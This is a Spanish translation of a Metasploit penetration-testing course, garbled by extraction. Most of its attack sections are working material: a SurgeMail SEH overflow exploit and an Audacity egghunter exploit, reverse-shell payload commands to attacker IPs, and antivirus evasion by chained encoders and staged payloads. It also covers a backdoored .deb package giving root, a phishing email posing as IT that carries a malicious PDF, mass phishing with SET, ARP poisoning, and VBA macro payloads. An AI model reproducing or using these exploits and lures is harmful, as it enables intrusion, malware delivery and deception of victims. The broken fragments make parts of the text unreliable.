Espere que todo el proceso haya finalizado y luego empieze con los comandos
siguientes.
c1
+
c c0
c
c
Nessus es un conocido y popular escaneador de vulnerabilidades que es gratis
para uso personal, uno no comercial que fue lanzado por primera vez en 1998 por
Renaurd Deraison y actualmente publicado por Tenable Network Security.
Tambien hay un proyecto spin-off de Nesses 2, llamado OpenVAS, que es
publicado bajo licencia GPL. Utilizando un gran numero de comprobaciones de
vulnerabilidad. Metasploit acepta archivos de resultados de escaneos de
vulnerabilidad de ambos, tanto Nessus y OpenVAS en formato de archivo nbe.
Photobucket
root@bt4:/pentest/exploits/framework3# ./msfconsole
...
msf > db_create
[*] Creating a new database instance...
[*] Successfully connected to the database
[*] File: /root/.msf3/sqlite3.db
msf > load db_tracker
[*] Successfully loaded plugin: db_tracker
c
c
c
c c
#c(22c
Fuzzers son instrumentos usados por profesionales de seguridad para
proporcionar datos inválidos e inesperados a las entradas de un programa.
Fuzzers típicos prueban una aplicación de desbordamientos buffer, format string,
ataques directory traversal, vulnerabilidades de ejecución de comandos, Inyección
SQL, XSS y más. Como Metasploit proporciona un juego muy completo de
bibliotecas a profesionales de seguridad para muchos protocolos de red y
manipulaciones de datos, el Framework es un candidato bueno por el desarrollo
rápido de fuzzers simple.
Rex:: módulo de Texto proporciona muchos métodos prácticos para tratar con el
texto como:
* Conversión parachoques
* Codificando (html, url, etc.)
* Checksumming
* Generación de cuerda arbitraria
c
El último punto es obviamente muy provechoso en la escritura de fuzzers simple.
Para más información, refiérase a la documentación API en
http://metasploit.com/documents/api/rex/classes/Rex/Text.html. Aquí están
algunas funciones que usted puede encontrar en Rex:: el Texto:
def self.randomize_space(str)
def self.rand_hostname
def self.rand_state()
c
#Metasploit
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => '3Com TFTP Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => '3Com TFTP Fuzzer Passes
Overly Long Transport Mode String',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(69)
], self.class)
end
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
count = 10 # Set an initial count
while count < 2000 # While the count is under 2000 run
evil = "A" * count # Set a number of "A"s equal
to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil +
"\x00" # Define the payload
udp_sock.sendto(pkt, ip, datastore['RPORT']) #
Send the packet
print_status("Sending: #{evil}") # Status update
resp = udp_sock.get(1) # Capture the response
count += 10 # Increase count by 10, and loop
end
end
end
c
Bastante honrado. Deja lo dirige y ven lo que pasa.
c
c
c
[ c#c(22c c
c
Durante una sesión de reconocimiento de vulnerabilidades descubrimos un
servidor de correo IMAP que se sabe que es vulnerable a un ataque de
desbordamiento de búfer (Surgemail 3.8k4-4). Hemos encontrado un aviso para la
vulnerabilidad, pero no se puedo encontrar ningún metodo de explotacion
trabajando en la base de datos Metasploit ni en Internet. Entonces decides escribir
tu propia explotación a partir de una simple fuzzer IMAP.
##
# Este archivo forma parte del Marco de Metasploit y puede ser objeto de
# redistribución y restricciones comerciales. Por favor vea el sitio de
# Metasploit para más información sobre licencias y condiciones de uso.
# http://metasploit.com/framework/
##
require 'msf/core'
include Msf::Exploit::Remote::Imap
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'Simple IMAP Fuzzer',
'Description' => %q{
An example of how to build a simple IMAP
fuzzer.
Account IMAP credentials are required in
this fuzzer.
},
'Author' => [ 'ryujin' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $'
)
end
def fuzz_str()
return Rex::Text.rand_text_alphanumeric(rand(1024))
end
def run()
srand(0)
while (true)
connected = connect_login()
if not connected
print_status("Host is not responding - this is G00D ;)")
break
end
print_status("Generating fuzzed data...")
fuzzed = fuzz_str()
print_status("Sending fuzzed data, buffer length = %d" %
fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"
print_status(req)
res = raw_send_recv(req)
if !res.nil?
print_status(res)
else
print_status("Server crashed, no response")
break
end
disconnect()
end
end
end
c
Overiding the run() nuestro código se ejecutará cada vez que el usuario llama a
"run" de msfconsole. En el while loop within run(), os conectamos con el servidor
IMAP y autenticar a través de la función connect_login() importado de
Msf::Exploit::Remote::Imap. Entonces llamamos a la funcion fuzz_str() que genera
un tamaño variable de amortiguamiento alfanuméricos que va a ser enviado como
un argumento del comando LIST IMAP a través de la función raw_send_recv.
Guardamos el archivo anterior en el auxiliary/dos/windows/imap/ subdirectorio /
IMAP y cargarla desde msfconsole como siguiente paso.
Module options:
Ahora estamos listos para la pelusa de las personas vulnerables servidor IMAP.
Atribuimos el proceso de surgemail.exe ImmunityDebugger y comenzar nuestra
sesión de fuzzing:
[*]
[*] Connecting to IMAP server 172.16.30.7:143...
[*] Connected to target IMAP server.
[*] Authenticating as test with password test...
[*] Authentication failed
[*] Host is not responding - this is G00D ;)
[*] Auxiliary module execution completed
MSF nos dice que el servidor IMAP probablemente ha estropeado y
ImmunityDebugger confirma como se ve en la imagen siguiente:
c
c
cå
c-
c
c
cc +cc+ *cc
fuzzed = Rex::Text.pattern_create(11000).
Esto hace que nuestro SEH a ser sobrescrito por 0x684E3368 y basado en el
valor devuelto por pattern_offset.rb, podemos determinar que los bytes que
sobrescribe nuestro manejador de excepciones son los próximos cuatro bytes
10361, 10362, 10363, 10364.
POP POP RET nos re-direccionará 4 bytes antes de RET donde vamos a colocar
un JMP corto que nos devolverá 5 bytes. Entonces tendremos un JMP hacia atrás
que nos llevará en el centro de la NOPSLED. Esto no fue posible de hacer con
una sobrescritura parcial del EIP y el ESP, como debido al arreglo de pila ESP fue
de cuatro bytes después de nuestra RET. Si hiciéramos una sobrescritura parcial
de la EIP, ESP estaría en una área incontrolable.
c& c
cc
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
include Msf::Exploit::Remote::Imap
def check
connect
disconnect
if (banner and banner =~ /(Version 3.8k4-4)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connected = connect_login
nopes = "\x90"*(payload_space-payload.encoded.length) # to be
fixed with make_nops()
sjump = "\xEB\xF9\x90\x90" # Jmp Back
njump = "\xE9\xDD\xD7\xFF\xFF" # And Back Again Baby ;)
evil = nopes + payload.encoded + njump + sjump +
[target.ret].pack("A3")
print_status("Sending payload")
sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
sock.put(sploit)
handler
disconnect
end
end
c
Las cosas más importantes de notar en el código anterior son lo siguiente:
c
msf > search surgemail
[*] Searching loaded modules for pattern 'surgemail'...
Exploits
========
Name Description
---- -----------
windows/imap/surgemail_list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow
Module options:
Exploit target:
Id Name
-- ----
0 Windows Universal
c
La compensación es correcta, podemos poner ahora un límite de facturación en
nuestra dirección de vuelta:
c
Ahora podemos desviar el flujo de ejecución en nuestro parachoques ejecutando
el POP & POP instrucciones de RET:
c
Y finalmente ejecute los dos saltos en la pila que nos conseguirá dentro de nuestro
deslizador de NOP´s:
Hasta ahora, bien, tiempo para conseguir nuestra cáscara de Meterpreter, vaya a
dirigir de nuevo la proeza sin la depuración:
c:\surgemail>
[ c
cc!! - c
El MSF egghunter mixin es un maravilloso modulo que puede ser de gran utilidad
en el desarrollo de exploit. Si no estas familiarizado con el concepto de egghunter,
lee esto.
Una reciente vulnerabilidad en Audacity Audio Editor nos da una oportunidad para
examinar este mixin en gran profundidad. En el modulo siguiente, exploraremos
Audacity y crearemos un modulo exploit para eso, con un formato de archivo de
Metasploit. No, nos enfocaremos en el metodo de explotacion en si o en la teoria
detras de ella, pero nos sumergiremos directo a la practica del Egghunter mixin.
http://www.offensive-security.com/archive/audacity-win-1.2.6.exe
http://www.offensive-security.com/archive/LADSPA_plugins-win-0.4.15.exe
Portando el PoC
Nuestro esqueleto del exploit debe ser similar a esto. Note que nuestro buffer se
generara aqui:
def exploit
buff = Rex::Text.pattern_create(2000)
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff)
end
root@bt4:/pentest/exploits/framework3# ./msfconsole
Module options:
Exploit target:
Id Name
-- ----
0 Audacity Universal 1.2
c
Una mirada rapida a la cadena SEH demuestra que hemos sobrescrito un
manejador de excepciones.
c
[ c#
cc-c
[libfftw3f-3.dll]
0x637410a9 pop esi; pop ebp; retn 0x000c
0x63741383 pop edi; pop ebp; ret
0x6374144c pop edi; pop ebp; ret
0x637414d3 pop edi; pop ebp; ret
root@bt4:/pentest/exploits/framework3#
def exploit
buff = "\x41" * 174
buff << "\xeb\x06\x41\x41" buff << [target.ret].pack('V') buff << "\xCC"
* 2000 print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(buff) end
El salto corto nos lleva a la direccion de retorno, dentro del "codigo shell del
buffer".
c
Otra vez, tenemos muy poco espacio de buffer para nuestro payload. Una rapida
inspeccion de la memoria revela que la longitud del todo el buffer puede ser
encontrada en el monton. Sabiendo esto, podriamos utilizar los 80 bytes iniciales
de espacio para ejecutar un egghunter, lo que buscara y encontrara el payload
secundario.
c
def exploit
hunter = generate_egghunter
egg = hunter[1]
Ejecutamos el exploit final a traves de un depurador para estar seguros que todo
esta bien. Podemos ver que el egghunter ha sido implementado correctamente y
funciona perfectamente.
c
root@bt4:/pentest/exploits/framework3# ./msfconsole
=[ msf v3.3-dev
+ -- --=[ 397 exploits - 239 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 181 aux
Exploits
========
Name Description
---- -----------
windows/fileformat/audacity Audacity 1.2.6 (GRO File) SEH Overflow.
Exploit target:
Id Name
-- ----
0 Audacity Universal 1.2
meterpreter >
c
c
#4
c
Hay casos donde necesita obtener un codigo shell alfanumerico puro porque la
aplicacion explotada filtra los caracteres. MSF puede generar un codigo shell
alfanumerico facilemente a travez de msfencode. Por ejemplo, para generar un
mezcla alfanumerica de mayusculas y minisculas codificada, podemos usar el
siguiente comando:
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell/bind_tcp R | ./msfencode -e x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 659 (iteration=1)
Si vemos mas en detalle el codigo shell generado, podra ver que hay algunos
caracteres no alfanumericos:
Una vez que la direccion del codigo shell obtiene las dos primeras instrucciones,
es insertada en la pila y almacenada en el registro ECX que luego seran utilizadas
para calcular las compensaciones relativas.
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell/bind_tcp R | ./msfencode BufferRegister=ECX -e
x86/alpha_mixed
[*] x86/alpha_mixed succeeded with size 651 (iteration=1)
c
En este caso, le dijimos a msfencode que nos ocupamos de encontrar la direccion
absoluta del codigo shell y la hemos guardado en el registro ECX:
c
± c c-
c
Los client-side exploits siempre son un tema divertido y un frente importante para
los atacantes hoy en día. Dado que los administradores de red y desarrolladores
de software fortalecen el perímetro, los pentesters necesitan encontrar una forma
en que las víctimas abran una puerta para colarse en su red. Los client-side
exploits necesitan interacción con el usuario como por ejemplo incitarle a hacer
click en un enlace, abrir un documento o hacer que de alguna manera entren en
un pagina maliciosa.
Existen diversas maneras de usar Metasploit para realizar ataques en el lado del
cliente y demostraremos algunas de ellas aquí.
± c
5
c
c
Mestaploit esta lleno de características interesantes y útiles. Una de ellas es la
habilidad para generar ejecutables de un payload desde Metasploit. Esto puede
ser muy útil en situaciones tales como ingeniería social, si puedes hacer que un
usuario ejecute tu payload por ti, entonces no hay ninguna razón para pasar por
un problema de explotación de software.
Provided by:
vlad902 [email protected]
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port
Description:
Connect back to attacker and spawn a command shell
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 O
Provided by:
vlad902 [email protected]
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC seh yes Exit technique: seh, thread, process
LHOST 172.16.104.130 yes The local address
LPORT 31337 yes The local port
Description:
Connect back to attacker and spawn a command shell
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/1.exe
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
Module options:
Exploit target:
Id Name
-- ----
0 Wildcard Target
Module options:
Exploit target:
Id Name
-- ----
0 Wildcard Target
Ahora que tenemos todo configurado y listo para salir, usamos "exploit" en el
multi/handler y ejecutamos nuestro ejecutable generado en la victima. El
multi/handler se encarga del exploit por nosotros y nos muestra la shell.
c
±[ c
c)5
c
Como hemos visto, el binario del payloads de Metasploit funciona bien. Sin
embargo, hay una pequeña complicacion.
root@bt4:/pentest/exploits/framework3# ./msfencode -h
Usage: ./msfencode
OPTIONS:
root@bt4:/pentest/exploits/framework3# ./msfencode -l
Framework Encoders
==================
Excelente. Podemos ver las opciones y algunos codificadores que le podemos dar
uso. Vamos a usar la salida sin depurar del msfpayload y lo pasamos como
entrada a msfencode usando "shikata ga nai encoder" (traducido como "no puede
ser ayudado" o "nada se puede hacer"). Desde ahi, saldra el binario de windows.
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R |
./msfencode -e x86/shikata_ga_nai -t exe > /tmp/2.exe
Perfecto! Ahora transferimos el binario al otro sistema y vemos que pasa. Y...
Eso no es bueno. Todavia sigue siendo detectado por AVG. Bueno, no podemos
dejar que gane AVG, verdad? Vamos a ponernos un poco loco, y usar tres
diferentes codificadores, dos de los cuales le diremos que sea ejecutado 10 veces
cada uno, para un total de 21 codificaciones. Esto es toda la codificacion que
podemos hacer y seguir teniendo en funcionamiento el binario . AVG no podra con
esto!
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell_reverse_tcp LHOST=172.16.104.130 LPORT=31337 R |
./msfencode -e x86/shikata_ga_nai -t raw -c 10 | ./msfencode -e
x86/call4_dword_xor -t raw -c 10 | ./msfencode -e x86/countdown -t exe >
/tmp/6.exe
[*] x86/shikata_ga_nai succeeded with size 315 (iteration=1)
Fracasamos! Sigue siendo detectado por AVG! Como vamos a pasar esto?
Bueno, resulta que hay una buena razon para eso. Metasploit soporta dos tipos
diferentes de payloads. El primero, como "windows/shell_reverse_tcp" contiene
todo el codigo necesario por el payload. El otro, como "windows/shell/reverse_tcp"
funciona un poco diferente. "windows/shell/reverse_tcp" contiene solo el codigo
suficiente para abrir una conexion de red, entonces el stage carga el resto de
codigo requerido por el exploit desde la maquina de los atacantes. En el caso de
"windows/shell/reverse_tcp", hace una conexion de vuelta hacia el sistema
atacante, el resto del payload es cargado en memoria, y luego se nos abre un
interprete shell.
Entonces, que significa esto para los antivirus? Bueno, la mayoria de los antivirus
funcionan con una tecnologia a base de firmas. El codigo utilizado por
"windows/shell_reverse_tcp" se compara con esas firmas y es marcado por AVG
de inmediato. Por otra parte, el staged payload, "windows/shell/reverse_tcp" no
contiene la firma que busca AVG, y por eso, pasa sin darse cuenta. Ademas, al
contener menos codigo, el anti-virus tiene menos con que trabajar, y si la firma es
demaciado generica, habran muchos falsos positivos y frustaran a los usuarios
cuando activen un software no malicioso.
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/shell/reverse_tcp LHOST=172.16.104.130 LPORT=31337 X > /tmp/7.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell/reverse_tcp
Length: 278
Options: LHOST=172.16.104.130,LPORT=31337
Ok, ahora lo copiamos en el sistema remoto y lo ejecutamos, para ver que sucede.
05/27/2009 09:56 PM
.
05/27/2009 09:56 PM
..
05/25/2009 09:36 PM 9,728 7.exe
05/25/2009 11:46 PM
Downloads
10/29/2008 05:55 PM
My Music
10/29/2008 05:55 PM
My Pictures
1 File(s) 9,728 bytes
5 Dir(s) 38,655,614,976 bytes free
Exito! el Antivirus no se activo con este nuevo staged payload. Hemos logrado
evadir el antivirus del sistema, y ejecutado el payload
cc
± c15
c)
c
c/ -c
A fin de demostrar que los ataques client side y troyanos no son exclusivos en el
mundo de Windows, se cargara un paquete en el payload de Metasploit con un
paquete .deb de Ubuntu para que nos de una shell en Linux.
Un excelente video fue hecho por Redmeat_uk demostrando esta tecnica que
puedes ver en http://securitytube.net/Ubuntu-Package-Backdoor-using-a-
Metasploit-Payload-video.aspx
Ahora vamos a crear nuestro payload malicioso. Creamos una shell inversa para
que se conecte de nuevo a nosotros llamada "freesweep_scores".
root@bt4:/pentest/exploits/framework3# ./msfpayload
linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 X >
/tmp/evil/work/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.101,LPORT=443
Mientras la victima instala y juega nuestro juego, nosotros recibiremos una shell!
ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6
inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49 errors:0 dropped:0 overruns:0 frame:0
TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)
Interrupt:17 Base address:0x1400
...snip...
hostname
ubuntu
id
uid=0(root) gid=0(root) groups=0(root)
± c cc
c6
c
Joshua Abraham (jabra) publico un gran articulo que se basa en una charla que se
dio en el Infosec World Conference con Rafal Los y se puede encontrar en
http://blog.spl0it.org. Esencialmente, los dos fueron capaces de construir un applet
de java que una vez ejecutado en un navegador nos permitira ejecutar un payload
con Meterpreter si el objetivo acepta la advertencia de seguridad.
Jabra ha simplificado la mayor parte del proceso con el script en bash para reducir
errores de entrada. Puedes descargar este script desde:
http://spl0it.org/files/makeapplet.sh
#!/bin/bash
#
# Shell script to sign a Java Applet
# Joshua "Jabra" Abraham <[email protected]>
# Tue Jun 30 02:26:36 EDT 2009
#
# 1. Compile the Applet source code to an executable class.
#
# javac HelloWorld.java
#
# 2. Package the compiled class into a JAR file.
#
# jar cvf HelloWorld.jar HelloWorld.class
#
# 3. Generate key pairs.
#
# keytool genkey -alias signapplet -keystore mykeystore -keypass
mykeypass -storepass mystorepass
#
# 4. Sign the JAR file.
#
# jarsigner -keystore mykeystore -storepass mystorepass -keypass
mykeypass - signedjar SignedHelloWorld.jar
# HelloWorld.jar signapplet
#
# 5. Export the public key certificate.
#
# keytool -export -keystore mykeystore -storepass mystorepass -alias
signapplet -file mycertificate.cer
#
# 6. Deploy the JAR and the class file.
#
# <applet code="HelloWorld.class" archive="SignedHelloWorld.jar" width=1
height=1> </applet>
#
echo "Enter the name of the applet without the extension:"
read NAMEjavac $NAME.javaif [ $? -eq 1 ] ; then
echo "Error with javac"
exit
fi
Ahora vamos hacer un directorio de trabajo para almacenar este archivo y luego
agarrar desde su sitio o copiar y pegar en tu editor de texto favorito.
root@bt4:/# cd ./java-applet
Tenemos que hacer un applet de Java que luego firmaremos. Para esto, copiamos
y pegamos el texto de abajo en tu editor de texto favorito y lo salvamos como:
"MSFcmd.java". Para lo que queda de este modulo, deja el editor abierto, ya que
tendras que modificar algunos parametros a medida que avancemos por el
modulo.
import java.applet.*;
import java.awt.*;
import java.io.*;
public class MSFcmd extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try {
f = Runtime.getRuntime().exec("first");
}
catch(IOException e) {
e.printStackTrace();
}
Process s;
}
}
root@bt4:/java-applet/# ./makeapplet.sh
Warning:
The signer certificate will expire within six months.
[+] Exporting the public key certificate
Certificate stored in file
[+] Done
root@bt4:/pentest/exploits/framework3/# ./msfpayload
windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 R | ./msfencode -
t exe -o my.exe
c
Ahora tenemos que configurar el Metasploit multi/handler para escuchar los
intentos de conexiones de los clientes. Vamos estar escuchando por un reverse
shell desde el objetivo en el puerto 443. Este puerto esta asociado con el trafico
HTTPS y la mayoria de los firewalls de las organizaciones permiten que este
trafico salga de su red. Como antes, cambia el "X.X.X.X" por tu IP.
c
Cuando una victima navegue a nuestro sitio web y acepte la advertencia de
seguridad, el payload de Meterpreter se ejecutara y se conectara de regreso al
handler, a nosotros.
meterpreter > ps
Process list
============
meterpreter >
Como nota final, si tienes problemas obteniedo acceso, asegurate que los archivos
'C:\windows\apsou.vbs'
and
'C:\windows\my.exe'
NO exista en tu objetivo.
navigate to:
HKLM\Software\Policies\Microsoft\Windows\CurrentVersion\Internet
Settings\Security_HKLM_only
navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\3\Flags
click Decimal
change value to 3
navigate to:
HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\
navigate to:
HKCU\Software\Microsoft\Windows\CurrentVersion\Internet
Settings\Zones\3\Flags
click Decimal
change value to 3
± cc
cc
cc c
Como ya se ha discutido, Metasploit tiene muchos usos y ahora vamos a duscutir
otro aqui, es ataques client side. Para mostrar el poder de como puede ser usado
MSF en ataques client side usaremos una historia.
Un atacante puede explotar este problema ejecutando codigo arbitrario con los
privilegios del usuario ejecutando la aplicacion o cerrar la aplicacion, denegando el
servicio a los usuarios legitimos.
Asi que empezamos por crear nuestro archivo PDF malicioso para usar en este
ataque de client side.
Module options:
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 (Windows XP SP3 English)
Una vez que tengamos todas las opciones definidas en el modo que queramos,
ejecutamos "exploit" para crear el archivo.
c
Asi podemos ver que el archivo PDF fue creado en un sub-directorio en donde
estamos. Vamos a copiarlo en el directorio /tmp para que sea facil de localizar mas
tarde.
IT Dept,
We are sending this important file to all our customers. It contains very
important instructions for upgrading and securing your software. Please
read and let us know if you have any problems.
Sincerely,
Como podemos ver aqui, el script nos permite poner cualquier direccion FROM (-f)
, cualquier direccion TO (-t), cualquier servidor SMTP (-s) como tambien un Titulo
(-u) y el archivo adjunto (-a). Una vez que hacemos todo esto y precionamos enter
podemos escribir cualquier mensaje que queramos, luego precionamos CTRL+D y
esto enviara el correo electronico a la victima.
Como podemos ver, paso sin ser detectado por lo que nuestro administrador IT
esta dispuesto en abrir este archivo para implementar rapidamente estas
importantes actualizaciones. Al hacer click el archivo abre Adobe pero muestra
una ventana gris que no revela nunca un PDF. En cambio, en el equipo atacante
se revela...
meterpreter >
meterpreter > ps
Process list
============
GAME OVER
± c7cc
#
cc
c
! 8
c
c
El Kit de Herramientas de Ingenieria Social (Social-Engineering Toolkit, SET) fue
disenado por David Kennedy (ReL1K) e incorpora muchos ataques de Ingenieria-
Social todo en una simple interfaz. El proposito principal de KIS es automatizar y
mejorar muchos de los ataques de ingenieria social que existen. Como pentesters,
la ingenieria social es a menudo una practica que no muchas personas realizan.
Puedes descargar el Kit de Herramietas de Ingenieria Social a traves de
subversion simplemente escribiendo en Back|Track 4:
root@bt4:/home/relik# cd SET/
root@ssdavebt4:/home/relik/SET# ./set
Tenga en cuenta que esta es una version alfa de SET y esta disenado para ser
lanzado con el lanzamiento del Framework de Ingenieria Social (http://www.social-
engineer.org). Si notas, el formato general de SET es muy similar al menu
interactivo de Fast-Track. Esto fue intencional ya que probablemente se convertira
eventualmente en un modulo de Fast-Track.
Escenario 1
Lo primero que necesitas es crear una lista con las direcciones de correo
electronico con el formato de abajo:
[email protected]
[email protected]
[email protected]
[email protected]
Una vez que tenemos la lista generada, carga SET, crea un payload para que se
conecte de regreso a ti, y preparate para conseguir algunas shells.
root@bt4:/home/relik/SET# ./set
[---] The Social Engineering Toolkit (SET) [---]
[---] Written by David Kennedy (ReL1K) [---]
[---] Version: 0.1 Alpha [---]
This menu will automate file-format email attacks for you. You will
first have to create your own payload, you can easily do this by using
the "Create a FileFormat Payload", then from there launch the mass
e-mail attack.
[-] A previous created PDF attack by SET was detected..Do you want to use
the PDF as a payload? [-]
There are two options on the mass e-mailer, the first would
be to send an email to one indivdual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.
[email protected]
[email protected]
[email protected]
SET has finished deliverying the emails. Do you want to setup a listener
yes or no: yes
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
c
Ahora el usuario abre el PDF, y se le presenta un PDF de forma correcta. Vease
abajo:
Otra opcion para explotacion otra que no sea por e-mail es creando una pagina
web falsa que tenga un Payload de Metasploit y una vez que se visita, mostramos
un Applet de Java "firmado" por Microsoft Corporation y si ellos aceptan, nuestro
payload se cargara. Otro ejemplo que podemos usar, si estamos dentro de una
red es con un envenenamiento automatico del cache ARP donde podemos tener
SET para envenenar la subred de la victima y reemplazar todos los HREF's de la
victima con nuestras paginas. Usaremos este ejemplo en el escenario de abajo sin
embargo, envenenamiento del cache ARP es una opcion, yo recomendaria
combinar cross-site scripting y un buen e-mail elaborado o una llamada telefonica
con el fin de conseguir que vaya a su sitio.
root@bt4:/home/relik/SET# ./set
Name: Description:
1. avoid_utf8_tolower
2. shikata_ga_nai
3. alpha_mixed
4. alpha_upper
5. call4_dword_xor
6. countdown
7. fnstenv_mov
8. jmp_call_additive
9. nonalpha
10. nonupper
11. unicode_mixed
12. unicode_upper
13. alpha2
14. No Encoding
Enter your choice : 2
Launching Listener...
*************************************************************************
**********************
*************************************************************************
**********************
Would you like to use ettercap to ARP poison a host yes or no: yes
Ettercap allows you to ARP poison a specific host and when they browse
a site, force them to use oursite and launch a slew of
exploits from the Metasploit repository. ETTERCAP REQUIRED.
11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP
Type -c to exit..
c
Fijese en la parte inferior izquierda que la URL ha sido sustituido por nuestro sitio
web. Ahora la victima realiza una busqueda normal en Google. Veamos que pasa:
root@bt4:/pentest/exploits/framework3# ./msfpayload
windows/meterpreter/reverse_tcp LHOST=10.211.55.162 LPORT=8080
ENCODING=shikata_ga_nai X > payload.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
Length: 280
Options: LHOST=10.211.55.162,LPORT=8080,ENCODING=shikata_ga_nai
root@bt4:/pentest/exploits/framework3# mv payload.exe tools/
root@bt4:/pentest/exploits/framework3# cd tools/
root@bt4:/pentest/exploits/framework3/tools# ruby exe2vba.rb payload.exe
payload.vbs
[*] Converted 14510 bytes of EXE into a VBA script
root@bt4:/pentest/exploits/framework3/tools# cd..
root@bt4:/pentest/exploits/framework3# ./msfcli | grep multi/handler
[*] Please wait while we load the module tree...
exploit/multi/handler Generic Payload Handler
root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler
PAYLOAD=windows/meterpreter/reverse_tcp ENCODING=shikata_ga_nai
LPORT=8080 LHOST=10.211.55.162 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
Para recapitular todo lo que hemos visto hasta ahora, hemos creado nuestro
payload usando el codificador polimorfico shikata_ga_nai, convertido en un
ejecutable, conectandose de nuevo a nosotros en el puerto 8080 en el host
10.211.55.162. Luego convertimos el ejecutable a VBScript usando el script
"exe2vba.rb" en la seccion de herramientas. Una vez que se ha completado,
tendra que obtener una maquina con Windows que tenga Word instalado para
realizar los siguientes pasos:
En Word o Excel 2003, ve a Herramientas, Macros, Editor de Visual Basic, si estas
usando Word/Excel 2007, ir a Ver Macros, luego coloca un nombre como "moo" y
seleccione "crear".
Esto abrira el editor de visual basic. Pegue el resultado del archivo payload.vbs en
el editor, guardalo y escriba cualquier cosa en el documento en si. Esto es cuando
se realiza un ataque client-side enviando por correo electronico este documento
de Word a alquien.
A fin de mantener la sospecha del usuario baja, trate de introducir el codigo en los
muchos juegos de Word/Excel que estan disponibles por internet. De esa manera,
el usuario esta feliz jugando mientras que estas trabajando en el fondo. Esto le da
mas tiempo extra para migrar a otro proceso si estas usando Meterpreter como
payload.
c
Aqui le damos un nombre generico al macro.
Esto pasara la salida del payload a un script vbs asiq ue los pasos son los mismos
mencionados arriba. Algo que mencionar es que los macros estan desabilitados
por defecto tanto para la version home como coporate, asi que tendrias persuadir
para habilitar los macros o tener la esperanza que lo hayan habilitado para ver el
documento de forma correcta. Aqui es donde tener un script incrustado en un
documento con un juego en Flash incrustado viene muy bien.
c
c
c
c
c
c
c
c
c
c
c
c
l c (c
c-
c
Después de haber trabajado tan duro con la finalidad de explotar con éxito un
sistema, bien, pero ¿que es lo que haremos ahora? Vamos a conseguir un mayor
acceso a los dispositivos de las redes internas y cubriremos/borraremos nuestras
huellas/pistas a medida que avanzamos en los sistemas "víctima". Los pentesters
también podremos optar por utilizar sniffers de paquetes para otras posibles
víctimas, editaremos sus registros para obtener información o mejores accesos o
borrar a estos estos, e incluso crearemos una puerta trasera (backdor) para
mantener el acceso al sistema más permanente y eficaz. La utilización de estas
técnicas nos ayudara a mantenernos en un cierto nivel de acceso y realmente
puede conducir a footholds y a profundizar aun más en la infraestructura.
l c
c#c c
5
c
c
